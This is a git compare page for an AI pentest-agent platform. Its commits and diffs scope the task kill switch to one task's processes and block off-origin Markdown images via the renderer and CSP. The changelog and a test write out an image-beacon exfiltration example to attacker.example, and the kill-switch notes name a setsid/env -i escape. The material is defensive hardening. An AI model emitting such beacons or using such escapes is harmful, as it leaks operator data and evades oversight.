Compare commits

...
Author SHA1 Message Date
BaaRai 7c83ea36c4 Scope the local kill switch to the paused task
In local mode every task runs as the executor uid, and Pause and
BeginDelete killed every process of that uid, so pausing one task also
killed the agents of every other task, the shared browser and processes
of that uid the server never started.

Select a process only when the server started it and its subtree belongs
to the task: the first process down the tree that names a task decides,
through the ARTEX_EXEC_TASK variable the planner and the worker now put
in their Bash environment, or else through a working directory under
tasks/<id>. Signal a process group as a whole only when every live member
belongs to the task.
2026-12-04 13:09:28 +01:00
BaaRai 490b4e6831 Merge pull request #961 from BaaRai/fix/markdown-external-images
fix(web): block external Markdown images and restrict CSP img-src
2026-12-04 13:09:13 +01:00
BaaRai 3766214b64 Block external Markdown images and restrict CSP img-src
Markdown rendered in finding reports, task reports and transcripts comes
from agent output and target content. An image in it was fetched by the
operator's browser as soon as the view rendered, so an image URL pointing
to an outside host could carry data out of the console with no click and
outside the sandbox egress controls.

The Markdown renderer now loads only same-origin images under /api/ and
/uploads/, checked on the normalized URL (dot segments resolved, protocol
relative URLs, backslashes and encoded slashes refused). Any other image
is shown as its alt text and URL, linked when it is an http(s) URL.

The Content-Security-Policy adds img-src 'self' data: blob:, which keeps
images off other origins for the whole console, Markdown or not.

Tests: a Go test asserts the console CSP img-src directive, and a new
test:markdown web test (wired into the CI web job) covers external,
same-origin and tricky image URLs.
2026-12-04 12:45:51 +01:00
BaaRai 347c50931c Merge pull request #960 from BaaRai/fix/private-data-dirs
fix(server): keep transcripts and noa archives owner-only, stop Norma ripgrep auto-install
2026-12-04 12:45:42 +01:00
12 changed files with 527 additions and 73 deletions
+1
View File
@@ -237,6 +237,7 @@ jobs:
- run: npm run test:chat-mentions
- run: npm run test:format
- run: npm run test:http-href
- run: npm run test:markdown
- run: npm run build:static
python:
+2
View File
@@ -6,6 +6,8 @@ All notable changes to this project are documented in this file. The format is b
### Security
- **Pausing or deleting a task in local mode stops only that task's processes.** With the sandbox off and the executor uid drop on, `Engine.Pause` and `Engine.BeginDelete` sent SIGTERM and then SIGKILL to every process running as the executor uid and never looked at the task directory. Every task runs as that uid, so pausing one task (from the UI, the API, the chat bridge or the Auto agent's `pause_task`) also killed the agents of every other running task, the shared browser, and any process of that uid on the host, even one the server never started. The kill switch now selects a process only when the server started it (escaped daemons are reparented to the server, which is a child subreaper) and its subtree belongs to the task: walking down from the server, the first process that names a task decides for everything below it, through the new `ARTEX_EXEC_TASK` variable that the planner and the worker put in the environment of their Bash, or else through a working directory under `tasks/<id>`. A process group is signalled as a whole only when every live member belongs to the task. With the privilege drop off the same scoping replaces the old rule, which killed every descendant in another process group, so it crossed tasks too. Behaviour change: a process that was reparented to the server, left the task directory and cleared `ARTEX_EXEC_TASK` (for example `cd /; env -i setsid daemon`) is no longer killed by Pause; stdio MCP servers, which start outside the task directory, are left to the end of the agent run, which closes them. Sandbox mode is unchanged.
- **Markdown images no longer load from other origins.** Finding reports, task reports and transcripts render Markdown written by the agent from target content, and an image in it was fetched by the operator's browser as soon as the view opened: `![x](https://attacker.example/?d=...)` sent whatever the URL carried to an outside host, outside the sandbox egress controls. The Markdown renderer now loads only same-origin images under `/api/` and `/uploads/` (relative paths, or absolute URLs on the console's own origin, checked after dot segments are resolved; protocol-relative URLs, backslashes and encoded slashes are refused) and shows any other image as its alt text and URL, linked when it is an `http(s)` URL, so nothing is fetched until the operator clicks. The Content-Security-Policy sent with every response, console included, adds `img-src 'self' data: blob:`, which also covers images outside Markdown. Behaviour change: images embedded from external hosts in reports and notes, and company logos set to an external URL, no longer display.
- **Transcripts and noa archives are owner-only, and Norma's Grep no longer installs ripgrep.** Norma writes `<data>/transcripts` and the noa compression archives under `<data>/noa` with 0755 directories and 0644 files, so any other uid on the host, the executor that runs the agent's commands included, could read every conversation (prompts, model output, tool results). At startup every directory in these two trees, the top ones included, now keeps at most its owner bits (0700) and every regular file at most owner read and write (0600); a narrower mode is never widened, and a missing top directory is created 0700. As for the key directory, nothing is changed by path: the trees are walked under an `os.Root` at the data directory, each entry is checked without following symlinks and changed through the descriptor that was checked, and a symlink (`transcripts` or `noa` themselves included), a hard-linked file or any other non-regular entry is refused and left as it is. A refusal or a failed mode change fails the start like a key directory that cannot be locked down: the error joins the isolation self-test, and only `ARTEX_ALLOW_UNISOLATED=1` (or `-dev-insecure-no-isolation`) starts anyway. Only the server reads these trees: the sandbox and Kubernetes workers mount only their task directory, the executor's shells and file tools work inside run directories, and archive export and the workspace file manager read them as the server. Files Norma writes later are still 0644 but sit under 0700 directories. Norma's Grep ran an unpinned `npm install -g @vscode/ripgrep` (install scripts enabled) when `rg` was missing; `NORMA_RIPGREP_NO_INSTALL` is now always set to `1` at startup, so no value, an empty one included, lets a Norma Grep install a package at run time (ARTEX's own Grep never starts ripgrep). Behaviour change: archiving the data directory as a non-root host user (`scripts/backup.sh --with-data`, which already asks for root) cannot read these two trees, and a data directory the server cannot change (for example an NFS export with root squashing, or a tree owned by another uid) fails the start until it is fixed or the opt-out is set.
- **Saved LLM profiles and run-time completions go through the model URL guard.** The connection test refused a `base_url` or proxy on a loopback, private or instance-metadata address, but saving a profile accepted it, and every completion of a task, chat or Agent bound to that profile was sent there with the profile's stored API key. Saving a profile (`POST /api/llm/profiles`) and the legacy `POST /api/llm` now refuse what the connection test refuses, and every completion provider the server builds validates the proxy and each request URL before sending, checks every connection on the address it dials (so a name that later resolves to a refused address is still refused), validates redirects and keeps them on the configured origin. The existing allowances are unchanged: an exact `host:port` listed in `ARTEX_LLM_PRIVATE_ENDPOINTS` (for example Ollama or vLLM on the host or the Docker network) is accepted at save and at run time, and an Ollama profile on the built-in default `http://127.0.0.1:11434/v1` (an empty base URL) keeps working without it. Behaviour change: a stored profile, or an `ARTEX_LLM_*` environment config, whose endpoint or proxy points at a loopback, LAN or Docker-network address not listed in `ARTEX_LLM_PRIVATE_ENDPOINTS` stops working (each request fails with the guard's refusal) until its `host:port` is added there; a SOCKS5 proxy on a profile is refused, as the connection test already refused it; and a profile host that does not resolve cannot be saved.
- **Chat bridge excerpts drop nested code fences whole.** `chatbridge.SafeText` paired any run of three backticks or tildes with the next one of either kind, so a longer fence quoting markdown (a four-backtick fence around a three-backtick `http` block, a `markdown` fence holding inline triple backticks, a backtick block inside a tilde fence) was closed at the first inner run, and the rest of the quoted evidence went to the chat provider as prose when excerpts or shared text were on. Fences now follow the CommonMark rules: a fence line has at most three spaces before its run, and its block ends only on a line holding a run of the same character at least as long and nothing else; an unclosed fence still drops everything to the end. A run elsewhere is dropped: after text, or in a title collapsed to one line, up to the latest end a code span could have; on a line inside a list item or a blockquote, only a closing line of the same character and at least the same length ends the fence, so a list item's continuation lines are content of it, and an unclosed one drops to the end. Ambiguous markdown errs toward dropping: a fence opened on the same line as a list marker, for example, may drop the list items after it.
+2 -2
View File
@@ -681,8 +681,8 @@ func (p *Planner) planOnce(ctx context.Context, taskID int64, as *db.AssetStore,
DeepSeekSearchAPIKey: p.webSearch.DeepSeekAPIKey,
DeepSeekSearchModel: p.webSearch.DeepSeekModel,
WebSearchProxy: p.webSearch.Proxy,
BashEnv: proxyEnv(p.proxyAddr, p.proxyCACert), // Bash subcommands go through the proxy + trust its CA by default
WorkingDir: taskDir, // the main run directory <workDir>/tasks/<taskID>/main
BashEnv: append(proxyEnv(p.proxyAddr, p.proxyCACert), taskEnv(taskID)), // Bash subcommands go through the proxy + trust its CA by default
WorkingDir: taskDir, // the main run directory <workDir>/tasks/<taskID>/main
ToolOutputDir: TaskToolOutputDir(p.workDir, taskID, taskDir),
MaxTurns: p.turnCap(ctx), // 0 = unlimited; clamped by task turn budget and forced wrap-up cap
MaxDuration: maxDur, // 0=unlimited; with a deadline = time remaining until it
+11 -1
View File
@@ -268,6 +268,16 @@ func proxyEnv(proxyAddr, caCert string) []string {
return env
}
// ExecTaskEnv names the task in the environment of the Bash processes that an
// agent run of the task starts. The local kill switch (server/killswitch_unix.go)
// reads it to tell one task's processes from another's, since every task runs
// as the same executor uid. It is not a secret and not a boundary: a process can
// change it, for its own children only.
const ExecTaskEnv = "ARTEX_EXEC_TASK"
// taskEnv returns the ExecTaskEnv entry for taskID.
func taskEnv(taskID int64) string { return ExecTaskEnv + "=" + strconv.FormatInt(taskID, 10) }
// workerDefaultTmpl is the built-in EDITABLE body (section [A]) of the worker
// system prompt, seeded into agent_prompts. The trafficTool block and the
// intermediate artifact output rules are NOT here — they are code-owned and
@@ -720,7 +730,7 @@ func (w *Worker) execute(ctx context.Context, name string, taskID int64, as *db.
WebSearchProxy: w.webSearch.Proxy,
// Bash subcommands' HTTP goes through the recording proxy + trusts its CA by
// default (tools need no -x/-k).
BashEnv: proxyEnv(w.proxyAddr, w.proxyCACert),
BashEnv: append(proxyEnv(w.proxyAddr, w.proxyCACert), taskEnv(taskID)),
WorkingDir: runDir,
MaxTurns: w.turnCap(ctx), // 0 = unlimited (configurable in agent management); clamped by the intent budget
// Wall-clock budget, judged at turn boundaries without interrupting mid-flight;
+6 -2
View File
@@ -6,6 +6,8 @@ import (
"os"
"sort"
"strings"
"github.com/Autumn-27/artex/agent"
)
// Environment of the agent processes. When a process crosses from the server's
@@ -23,8 +25,9 @@ import (
// executorEnvNames are the server variables an agent process keeps: the search
// path and locale, the temp directory, the non-interactive defaults Norma sets, the
// proxy and CA trust variables the agents pass to their shells (agent.proxyEnv),
// the browser location of the image (Dockerfile), and the shim's own non-secret
// variables. HOME and XDG_CACHE_HOME are replaced by the executor's home.
// the browser location of the image (Dockerfile), the shim's own non-secret
// variables, and the task name the agents give their shells (agent.ExecTaskEnv).
// HOME and XDG_CACHE_HOME are replaced by the executor's home.
var executorEnvNames = nameSet(
"PATH", "HOME", "XDG_CACHE_HOME",
"LANG", "LANGUAGE", "TERM", "TZ", "TMPDIR",
@@ -37,6 +40,7 @@ var executorEnvNames = nameSet(
"SSL_CERT_FILE", "CURL_CA_BUNDLE", "REQUESTS_CA_BUNDLE", "GIT_SSL_CAINFO", "NODE_EXTRA_CA_CERTS",
"PLAYWRIGHT_BROWSERS_PATH",
envExecBash, envExecUID, envExecGID, envExecHome,
agent.ExecTaskEnv,
)
func nameSet(names ...string) map[string]bool {
+194
View File
@@ -0,0 +1,194 @@
//go:build linux
package server
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"slices"
"strconv"
"syscall"
"testing"
"time"
"github.com/Autumn-27/artex/agent"
)
// TestSelectTaskProcsKeepsOtherTasks checks the task scoping of the local kill
// switch on a fixed process table: every task runs as the executor uid, and
// pausing task 1 must select task 1's processes only, never task 10's, a
// process the server did not start, or a shared process such as the browser.
func TestSelectTaskProcsKeepsOtherTasks(t *testing.T) {
exe := []int{10001, 10001, 10001, 10001}
root := []int{0, 0, 0, 0}
procs := []procEntry{
{pid: 100, ppid: 1, pgrp: 100, stat: "S", uids: root, cwd: "/data"}, // the server
{pid: 200, ppid: 100, pgrp: 200, stat: "S", uids: exe, cwd: "/data/tasks/1/main"},
{pid: 201, ppid: 200, pgrp: 200, stat: "S", uids: exe, cwd: "/tmp"}, // task 1 child that left the directory
{pid: 202, ppid: 100, pgrp: 202, stat: "S", uids: exe, cwd: "/", task: "1"}, // task 1 daemon: setsid, reparented, cd /
{pid: 203, ppid: 200, pgrp: 200, stat: "Z", uids: exe, cwd: "/data/tasks/1/main"}, // zombie
{pid: 204, ppid: 100, pgrp: 204, stat: "S", uids: root, cwd: "/data/tasks/1/main"}, // server identity
{pid: 300, ppid: 100, pgrp: 300, stat: "S", uids: exe, cwd: "/data/tasks/10/main"},
{pid: 301, ppid: 300, pgrp: 300, stat: "S", uids: exe, cwd: "/data/tasks/1/i4"}, // task 10 child inside task 1's directory
{pid: 302, ppid: 100, pgrp: 200, stat: "S", uids: exe, cwd: "/data/tasks/10/i2", task: "10"}, // task 10 process in task 1's group
{pid: 303, ppid: 100, pgrp: 303, stat: "S", uids: exe, cwd: "/data/tasks/1/main", task: "10"}, // task 10 daemon inside task 1's directory
{pid: 400, ppid: 1, pgrp: 400, stat: "S", uids: exe, cwd: "/data/tasks/1/main"}, // not started by the server
{pid: 401, ppid: 1, pgrp: 401, stat: "S", uids: exe, cwd: "/tmp"},
{pid: 500, ppid: 100, pgrp: 500, stat: "S", uids: exe, cwd: "/data"}, // shared browser
}
priv := ExecPrivilege{Enabled: true, UID: 10001, GID: 10001}
cases := []struct {
name string
taskDir string
priv ExecPrivilege
pids, grps []int
}{
{"task1_executor", "/data/tasks/1", priv, []int{200, 201, 202}, []int{202}},
{"task1_server_identity", "/data/tasks/1", ExecPrivilege{}, []int{200, 201, 202, 204}, []int{202, 204}},
{"task10_executor", "/data/tasks/10", priv, []int{300, 301, 302, 303}, []int{300, 303}},
{"no_task_dir", "", priv, nil, nil},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
pids, grps := selectTaskProcs(procs, 100, 100, tc.taskDir, tc.priv)
slices.Sort(pids)
slices.Sort(grps)
if !slices.Equal(pids, tc.pids) || !slices.Equal(grps, tc.grps) {
t.Fatalf("selectTaskProcs(%q) = pids %v groups %v, want pids %v groups %v", tc.taskDir, pids, grps, tc.pids, tc.grps)
}
})
}
}
// scopeFixture runs real processes for two tasks (1 and 10) and a neutral one
// under a data directory, as the engine's agent runs would.
type scopeFixture struct {
dataDir string
own []int // task 1
others []int // task 10 and the neutral process
}
func startScopeFixture(t *testing.T) *scopeFixture {
t.Helper()
enableLocalKillSubreaper() // as NewEngine does: escaped daemons stay our descendants
f := &scopeFixture{dataDir: t.TempDir()}
dirA := filepath.Join(f.dataDir, "tasks", "1", "main")
dirB := filepath.Join(f.dataDir, "tasks", "10", "main")
neutral := t.TempDir()
for _, d := range []string{dirA, dirB} {
if err := os.MkdirAll(d, 0o755); err != nil {
t.Fatal(err)
}
}
var all []int
t.Cleanup(func() {
for _, pid := range all {
_ = syscall.Kill(pid, syscall.SIGKILL)
}
})
start := func(dir, task, script string) int {
cmd := exec.Command("sh", "-c", script)
cmd.Dir = dir
cmd.Env = os.Environ()
if task != "" {
cmd.Env = append(cmd.Env, agent.ExecTaskEnv+"="+task)
}
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
if err := cmd.Start(); err != nil {
t.Fatal(err)
}
all = append(all, cmd.Process.Pid)
go func() { _ = cmd.Wait() }()
return cmd.Process.Pid
}
// startDaemon runs script, which writes the pid of a background process to a
// file and exits, and returns that pid.
startDaemon := func(dir, task, script string) int {
pidFile := filepath.Join(t.TempDir(), "pid")
start(dir, task, fmt.Sprintf(script, pidFile))
pid := waitForPIDs(t, pidFile, 1, 5*time.Second)[0]
all = append(all, pid)
return pid
}
// Task 1: a command in its run directory, a shell that left it with its child,
// and a setsid daemon that left it after its parent exited.
f.own = append(f.own, start(dirA, "", "exec sleep 300"))
pidFile := filepath.Join(t.TempDir(), "pid")
f.own = append(f.own, start(dirA, "1", fmt.Sprintf("cd /; sleep 300 & echo $! > %q; wait", pidFile)))
f.own = append(f.own, waitForPIDs(t, pidFile, 1, 5*time.Second)[0])
f.own = append(f.own, startDaemon(dirA, "1", "cd /; setsid sleep 300 </dev/null >/dev/null 2>&1 & echo $! > %q"))
// Task 10: a command in its run directory, one that moved into task 1's run
// directory, and a daemon there. The neutral process stands for a process of
// the server that belongs to no task (the shared browser, a chat session).
f.others = append(f.others, start(dirB, "10", "exec sleep 300"))
f.others = append(f.others, start(dirB, "10", fmt.Sprintf("cd %q; exec sleep 300", dirA)))
f.others = append(f.others, startDaemon(dirB, "10", "cd "+strconv.Quote(dirA)+"; setsid sleep 300 </dev/null >/dev/null 2>&1 & echo $! > %q"))
f.others = append(f.others, start(neutral, "", "exec sleep 300"))
time.Sleep(100 * time.Millisecond) // let the shells reach their cd and exec
return f
}
// TestFindLocalTaskPIDsSelectsOnlyItsTask runs real processes for two tasks and
// a neutral process and checks that the scan for task 1 finds all of task 1's
// processes and none of the others, with the privilege drop off and on.
func TestFindLocalTaskPIDsSelectsOnlyItsTask(t *testing.T) {
for _, tc := range []struct {
name string
priv func(t *testing.T) ExecPrivilege
}{
{"server_identity", func(*testing.T) ExecPrivilege { return ExecPrivilege{} }},
{"executor_uid", func(t *testing.T) ExecPrivilege {
if os.Getuid() == 0 {
t.Skip("needs a non-root uid to stand for the executor uid; TestSelectTaskProcsKeepsOtherTasks covers the uid filter")
}
return ExecPrivilege{Enabled: true, UID: uint32(os.Getuid()), GID: uint32(os.Getgid())}
}},
} {
t.Run(tc.name, func(t *testing.T) {
priv := tc.priv(t)
f := startScopeFixture(t)
got := findLocalTaskPIDs(filepath.Join(f.dataDir, "tasks", "1"), priv)
for _, pid := range f.own {
if !slices.Contains(got, pid) {
t.Errorf("task 1 process %d not selected (selected %v)", pid, got)
}
}
for _, pid := range f.others {
if slices.Contains(got, pid) {
t.Errorf("process %d of another task or of no task selected for task 1 (selected %v)", pid, got)
}
}
})
}
}
// TestEnginePauseAndDeleteKillOnlyTheirTask pauses (and, separately, starts the
// deletion of) task 1 through the engine and checks that task 1's processes die
// while task 10's processes and the neutral process keep running.
func TestEnginePauseAndDeleteKillOnlyTheirTask(t *testing.T) {
for _, tc := range []struct {
name string
stop func(e *Engine)
}{
{"pause", func(e *Engine) { e.Pause("1", agent.AbortPausedByUser) }},
{"delete", func(e *Engine) { e.BeginDelete("1") }},
} {
t.Run(tc.name, func(t *testing.T) {
f := startScopeFixture(t)
e := NewEngine(nil)
e.SetKillSwitchConfig(f.dataDir, ExecPrivilege{})
tc.stop(e)
assertAllPIDsDeadWithin(t, f.own, 5*time.Second)
for _, pid := range f.others {
if !pidAlive(pid) {
t.Errorf("process %d of another task or of no task was killed by the %s of task 1", pid, tc.name)
}
}
})
}
}
+135 -65
View File
@@ -11,6 +11,8 @@ import (
"strings"
"syscall"
"time"
"github.com/Autumn-27/artex/agent"
)
type procEntry struct {
@@ -19,6 +21,8 @@ type procEntry struct {
pgrp int
stat string
uids []int
cwd string // working directory, "" when unreadable
task string // value of agent.ExecTaskEnv in the start environment, or ""
}
func readProcTable() []procEntry {
@@ -58,6 +62,17 @@ func readProcTable() []procEntry {
continue
}
pe := procEntry{pid: pid, ppid: ppid, pgrp: pgrp, stat: fields[0]}
if cwd, err := os.Readlink(filepath.Join("/proc", name, "cwd")); err == nil {
pe.cwd = cwd
}
if envRaw, err := os.ReadFile(filepath.Join("/proc", name, "environ")); err == nil {
for _, kv := range strings.Split(string(envRaw), "\x00") {
if v, ok := strings.CutPrefix(kv, agent.ExecTaskEnv+"="); ok {
pe.task = v
break
}
}
}
if statusRaw, err := os.ReadFile(filepath.Join("/proc", name, "status")); err == nil {
for _, line := range strings.Split(string(statusRaw), "\n") {
if strings.HasPrefix(line, "Uid:") {
@@ -92,96 +107,145 @@ func (p procEntry) hasUID(uid int) bool {
// Wait4 on direct children; process liveness checks ignore Z/X zombie states.
func reapDirectChildren() {}
// findLocalTaskPIDs scans /proc without trusting any agent-writable state.
// When priv.Enabled (isolated executor UID), every non-zombie process owning
// priv.UID is returned (cannot be escaped via setsid, nohup, env -i, or double-fork).
// When !priv.Enabled (dev/test mode with PR_SET_CHILD_SUBREAPER), every descendant
// of os.Getpid() whose process group differs from os.Getpgrp() (covering Norma's
// Setpgid shells, setsid/nohup children, and reparented double-fork daemons) is returned.
// findLocalTaskPIDs returns the live processes of the task whose directory is
// taskDir (see selectTaskProcs), read from /proc.
func findLocalTaskPIDs(taskDir string, priv ExecPrivilege) []int {
self := os.Getpid()
selfPGID := syscall.Getpgrp()
procs := readProcTable()
if len(procs) == 0 {
return nil
}
pids, _ := findLocalTaskProcs(taskDir, priv)
return pids
}
if priv.Enabled && priv.UID > 0 {
var matched []int
for _, p := range procs {
if p.pid == self || p.isZombie() {
continue
}
if p.hasUID(int(priv.UID)) {
matched = append(matched, p.pid)
}
// findLocalTaskProcs is findLocalTaskPIDs plus the process groups that hold only
// processes of the task, both taken from one /proc snapshot.
func findLocalTaskProcs(taskDir string, priv ExecPrivilege) (pids, groups []int) {
dir := resolveTaskDir(taskDir)
if dir == "" {
return nil, nil
}
return selectTaskProcs(readProcTable(), os.Getpid(), syscall.Getpgrp(), dir, priv)
}
// resolveTaskDir returns taskDir as an absolute path with symlinks resolved, the
// form the kernel reports in /proc/<pid>/cwd, or "" for no task directory.
func resolveTaskDir(taskDir string) string {
if strings.TrimSpace(taskDir) == "" {
return ""
}
abs, err := filepath.Abs(taskDir)
if err != nil {
return ""
}
if real, err := filepath.EvalSymlinks(abs); err == nil {
return real
}
return abs
}
// selectTaskProcs picks the processes of one task from a process table. In
// local mode every task runs as the same executor uid, so the uid alone cannot
// tell the tasks apart. Walking down from the server, the first process that
// names a task decides the owner of its whole subtree: its agent.ExecTaskEnv
// variable, which the planner and the worker put in the environment of every
// Bash they start, or else the task directory that holds its working directory
// (every agent run starts in tasks/<id>/main or tasks/<id>/i<N>). Descendants
// keep that owner wherever they move: a child of task A that changes into task
// B's directory stays A's. A process can only rename its own subtree this way,
// never another task's. Only descendants of self, the server, are considered:
// the engine makes the server a child subreaper, so a task process that escaped
// with setsid, nohup or a double fork is reparented to it and stays in the
// walk, and a process the server did not start is never selected. When priv is
// enabled, only processes running as the executor uid are selected, as before.
//
// groups lists the process groups (other than selfPGID) whose every live member
// is selected: signalling such a group reaches no process of another task, even
// one that joined a group of this task.
//
// Known limit: a process that lost its task ancestor (reparented to the server
// after setsid or a double fork), left the task directory and cleared the
// variable (env -i) is not found: nothing it cannot change ties it to a task.
func selectTaskProcs(procs []procEntry, self, selfPGID int, taskDir string, priv ExecPrivilege) (pids, groups []int) {
if taskDir == "" {
return nil, nil
}
taskID := filepath.Base(taskDir)
tasksRoot := filepath.Dir(taskDir) + string(filepath.Separator)
// taskOf returns the task a process names, or "".
taskOf := func(p procEntry) string {
if p.task != "" {
return p.task
}
return matched
rest, ok := strings.CutPrefix(p.cwd, tasksRoot)
if !ok {
return ""
}
id, _, _ := strings.Cut(rest, string(filepath.Separator))
return id
}
children := make(map[int][]procEntry, len(procs))
for _, p := range procs {
children[p.ppid] = append(children[p.ppid], p)
}
cleanTaskDir := ""
if strings.TrimSpace(taskDir) != "" {
if abs, err := filepath.Abs(taskDir); err == nil {
cleanTaskDir = abs
}
}
var matched []int
selected := map[int]bool{}
seen := map[int]bool{}
var walk func(parent int, inheritedMatch bool)
walk = func(parent int, inheritedMatch bool) {
var walk func(parent int, owner string)
walk = func(parent int, owner string) {
for _, ch := range children[parent] {
if ch.pid == self || seen[ch.pid] {
continue
}
seen[ch.pid] = true
inTask := inheritedMatch || ch.pgrp != selfPGID
if !inTask && cleanTaskDir != "" {
if cwd, err := os.Readlink(filepath.Join("/proc", strconv.Itoa(ch.pid), "cwd")); err == nil {
if cwd == cleanTaskDir || strings.HasPrefix(cwd, cleanTaskDir+string(filepath.Separator)) {
inTask = true
}
}
own := owner
if own == "" {
own = taskOf(ch)
}
if inTask && !ch.isZombie() {
matched = append(matched, ch.pid)
if own == taskID && !ch.isZombie() && (!priv.Enabled || ch.hasUID(int(priv.UID))) {
selected[ch.pid] = true
pids = append(pids, ch.pid)
}
walk(ch.pid, inTask)
walk(ch.pid, own)
}
}
walk(self, false)
return matched
walk(self, "")
// A group is whole while every live member seen so far is selected.
whole := map[int]bool{}
for _, p := range procs {
if p.pgrp <= 1 || p.pgrp == selfPGID || p.isZombie() {
continue
}
if ok, known := whole[p.pgrp]; !known || ok {
whole[p.pgrp] = selected[p.pid]
}
}
added := map[int]bool{}
for _, p := range procs {
if selected[p.pid] && whole[p.pgrp] && !added[p.pgrp] {
added[p.pgrp] = true
groups = append(groups, p.pgrp)
}
}
return pids, groups
}
// KillLocalTaskProcesses terminates all live local processes belonging to a task
// (including setsid, nohup, and nested double-fork daemons) using /proc directly
// without trusting any agent-writable state. Sends SIGTERM, polls up to 2s, then
// loops SIGKILL until none remain (well within the 5s pause SLA).
// KillLocalTaskProcesses terminates the live local processes of one task
// (including its setsid, nohup and nested double-fork daemons, see
// selectTaskProcs) using /proc directly, and leaves the processes of other tasks
// alone. Sends SIGTERM, polls up to 2s, then loops SIGKILL until none remain
// (well within the 5s pause SLA).
func KillLocalTaskProcesses(taskDir string, priv ExecPrivilege) error {
if runtime.GOOS != "linux" {
return nil
}
selfPGID := syscall.Getpgrp()
// Sweep once immediately, and if nothing matched yet, wait briefly for
// cancelExec to trigger child reparenting before declaring clean.
pids := findLocalTaskPIDs(taskDir, priv)
pids, groups := findLocalTaskProcs(taskDir, priv)
if len(pids) == 0 {
time.Sleep(40 * time.Millisecond)
pids = findLocalTaskPIDs(taskDir, priv)
pids, groups = findLocalTaskProcs(taskDir, priv)
if len(pids) == 0 {
return nil
}
}
for _, pid := range pids {
if pgid, err := syscall.Getpgid(pid); err == nil && pgid > 1 && pgid != selfPGID {
_ = syscall.Kill(-pgid, syscall.SIGTERM)
}
_ = syscall.Kill(pid, syscall.SIGTERM)
}
signalTaskProcs(pids, groups, syscall.SIGTERM)
deadline := time.Now().Add(2 * time.Second)
for time.Now().Before(deadline) {
@@ -193,16 +257,11 @@ func KillLocalTaskProcesses(taskDir string, priv ExecPrivilege) error {
}
for round := 0; round < 15; round++ {
rem := findLocalTaskPIDs(taskDir, priv)
rem, remGroups := findLocalTaskProcs(taskDir, priv)
if len(rem) == 0 {
return nil
}
for _, pid := range rem {
if pgid, err := syscall.Getpgid(pid); err == nil && pgid > 1 && pgid != selfPGID {
_ = syscall.Kill(-pgid, syscall.SIGKILL)
}
_ = syscall.Kill(pid, syscall.SIGKILL)
}
signalTaskProcs(rem, remGroups, syscall.SIGKILL)
time.Sleep(30 * time.Millisecond)
reapDirectChildren()
}
@@ -211,3 +270,14 @@ func KillLocalTaskProcesses(taskDir string, priv ExecPrivilege) error {
}
return nil
}
// signalTaskProcs sends sig to each whole task process group, which also
// reaches members forked since the scan, and to each selected process.
func signalTaskProcs(pids, groups []int, sig syscall.Signal) {
for _, pgid := range groups {
_ = syscall.Kill(-pgid, sig)
}
for _, pid := range pids {
_ = syscall.Kill(pid, sig)
}
}
+3 -1
View File
@@ -20,7 +20,9 @@ func (s *Server) securityHeaders(next http.Handler) http.Handler {
h.Set("Referrer-Policy", "same-origin")
// The API is JSON, but a proxied error page must still not be framed.
h.Set("X-Frame-Options", "SAMEORIGIN")
h.Set("Content-Security-Policy", "frame-ancestors 'self'")
// img-src keeps the browser from fetching images off-origin: Markdown from agent
// and target text could otherwise beacon data out with an image URL.
h.Set("Content-Security-Policy", "frame-ancestors 'self'; img-src 'self' data: blob:")
if s.isHTTPS(r) {
// Ignored by browsers over plain HTTP, so it only takes effect behind
// the TLS-terminating proxy this deployment is documented to use.
+27 -1
View File
@@ -4,6 +4,7 @@ import (
"crypto/tls"
"net/http"
"net/http/httptest"
"strings"
"testing"
)
@@ -12,7 +13,7 @@ var sharedHeaders = map[string]string{
"X-Content-Type-Options": "nosniff",
"Referrer-Policy": "same-origin",
"X-Frame-Options": "SAMEORIGIN",
"Content-Security-Policy": "frame-ancestors 'self'",
"Content-Security-Policy": "frame-ancestors 'self'; img-src 'self' data: blob:",
}
// consoleOnlyHeaders must stay off the API: they are document headers.
@@ -107,3 +108,28 @@ func TestHSTSFromTrustedProxy(t *testing.T) {
t.Errorf("untrusted peer: HSTS = %q, want none", got)
}
}
// The console renders Markdown from agent and target text. Without img-src a
// Markdown image pointing off-origin is fetched as soon as it renders, which
// leaks whatever the URL carries; the policy keeps images on this origin.
func TestConsoleCSPImgSrc(t *testing.T) {
handler := (&Server{}).Handler()
for _, path := range []string{"/", "/settings/", "/function/findings/detail/"} {
res := httptest.NewRecorder()
handler.ServeHTTP(res, httptest.NewRequest(http.MethodGet, path, nil))
csp := res.Result().Header.Get("Content-Security-Policy")
directives := map[string]string{}
for _, d := range strings.Split(csp, ";") {
d = strings.TrimSpace(d)
name, _, _ := strings.Cut(d, " ")
directives[name] = d
}
if got, want := directives["img-src"], "img-src 'self' data: blob:"; got != want {
t.Errorf("%s: CSP img-src = %q, want %q (full policy %q)", path, got, want, csp)
}
if got, want := directives["frame-ancestors"], "frame-ancestors 'self'"; got != want {
t.Errorf("%s: CSP frame-ancestors = %q, want %q (full policy %q)", path, got, want, csp)
}
}
}
+2 -1
View File
@@ -29,7 +29,8 @@
"test:activity-merge": "node --test src/lib/activity-merge.test.mjs",
"test:chat-mentions": "node --test src/lib/chat-mentions.test.mjs",
"test:format": "node --test src/lib/format.test.mjs",
"test:http-href": "node --test src/lib/http-href.test.mjs"
"test:http-href": "node --test src/lib/http-href.test.mjs",
"test:markdown": "node --import ./scripts/register-alias.mjs --test src/components/markdown.test.mjs"
},
"lint-staged": {
"*.{js,ts,jsx,tsx}": ["biome check --write --no-errors-on-unmatched"]
+85
View File
@@ -0,0 +1,85 @@
import { createElement } from "react";
import { renderToStaticMarkup } from "react-dom/server";
import assert from "node:assert/strict";
import test from "node:test";
// Markdown renders agent and target text. An image there is fetched by the operator's
// browser as soon as it renders, so off-origin images must become links instead.
const md = await import("@/components/markdown");
function render(text) {
return renderToStaticMarkup(createElement(md.Markdown, { text }));
}
test("an external image renders as a link with its alt text and URL, not an <img>", () => {
const url = "https://attacker.example/leak?data=SECRET";
const html = render(`see ![beacon](${url})`);
assert.doesNotMatch(html, /<img/);
assert.match(html, /<a [^>]*href="https:\/\/attacker\.example\/leak\?data=SECRET"/);
assert.match(html, /beacon/);
assert.match(html, /attacker\.example\/leak\?data=SECRET<\/span>/);
});
test("same-origin images under /api/ and /uploads/ render", () => {
assert.match(
render("![shot](/api/tasks/1/files/a.png)"),
/<img [^>]*src="\/api\/tasks\/1\/files\/a\.png"[^>]*alt="shot"/,
);
assert.match(render("![up](/uploads/x.png?v=2)"), /<img [^>]*src="\/uploads\/x\.png\?v=2"/);
});
test("tricky image URLs do not render an <img>", () => {
